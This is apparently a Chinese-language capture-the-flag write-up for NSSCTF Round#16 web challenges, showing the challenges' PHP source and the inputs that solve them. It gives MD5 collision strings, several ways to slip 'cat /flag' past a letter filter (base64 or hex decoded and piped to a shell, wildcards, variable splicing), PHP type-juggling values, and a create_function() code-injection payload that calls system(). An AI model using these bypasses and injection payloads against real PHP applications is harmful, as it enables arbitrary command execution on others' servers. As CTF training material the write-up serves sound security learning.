NSS_Round16

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NSSCTF Round#16 Basic

Web

RCE但是没有完全RCE

<?php
error_reporting(0);
highlight_file(__file__);
include('level2.php');
if (isset($_GET['md5_1']) && isset($_GET['md5_2'])) {
    if ((string)$_GET['md5_1'] !== (string)$_GET['md5_2'] && md5($_GET['md5_1']) === md5($_GET['md5_2'])) {
        if (isset($_POST['md5_3'])&&md5($_POST['md5_3']) == md5($_POST['md5_3'])) {
            echo $level2;
        } else {
            echo "您！！！！！那么现在阁下又该如何应对呢";
        }
    } else {
        echo "还在用传统方法？？？？";
    }
} else {
    echo "来做做熟悉的MD5~";
}

需要绕过MD5的强等于，不能使用数组传参

md5_1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&md5_2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

POST

md5_3=1
//3z_RC3.php
<?php
error_reporting(0);
highlight_file(__FILE__);
$shell = $_POST['shell'];
$cmd = $_GET['cmd'];
if(preg_match('/f|l|a|g|\*|\?/i',$cmd)){
    die("Hacker!!!!!!!!");
}

需要绕过字母，给一组绕过字母的payload:

1、echo Y2F0IC9mbGFn| base64 -d | sh #cat /flag

2、echo 636174202f666c6167 | xxd -r -p | bash #cat /flag16进制

3、通配符 more /[b-z][b-z][@-z][b-z]

4、a=g.php; cat fla$a

这里使用通配符就行

了解过PHP特性吗

<?php
error_reporting(0);
highlight_file(__FILE__);
include("rce.php");
$checker_1 = FALSE;
$checker_2 = FALSE;
$checker_3 = FALSE;
$checker_4 = FALSE;
$num = $_GET['num'];
if (preg_match("/[0-9]/", $num)) {
    die("no!!");
}
if (intval($num)) {
    $checker_1 = TRUE;
}
if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
    $ctype = strrev($_POST['ctype']);
    $is_num = strrev($_POST['is_num']);
    if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {
        $checker_2 = TRUE;
    }
}
$_114 = $_GET['114'];
$_514 = $_POST['514'];
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {
    if (!is_numeric($_514) && $_514 > 9999999) {
        $checker_3 = TRUE;
    }
}
$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {
    for ($i = 0; $i < count($arr4y); $i++) {
        if ($arr4y[$i] === "NSS") {
            die("no!");
        }
        $arr4y[$i] = intval($arr4y[$i]);
    }
    if (array_search("NSS", $arr4y) === 0) {
        $checker_4 = TRUE;
    }
}
if ($checker_1 && $checker_2 && $checker_3 && $checker_4) {
    echo $rce;
}

直接绕过就行，简单

GET

?num[]=1&114=9e9

POST

ctype=IODZIEE&is_num=807016042&514=99999999999a&arr4y[]=0

绕过后就能去下一个php

<?php
error_reporting(0);
highlight_file(__FILE__);
$nss=$_POST['nss'];
$shell = $_POST['shell'];
if(isset($shell)&& isset($nss)){
    $nss_shell = create_function($shell,$nss);
}

利用create_function()函数创建匿名函数来代码注入

POST：

shell=&nss=;}system('cat /flag');/*
image-20240113175503533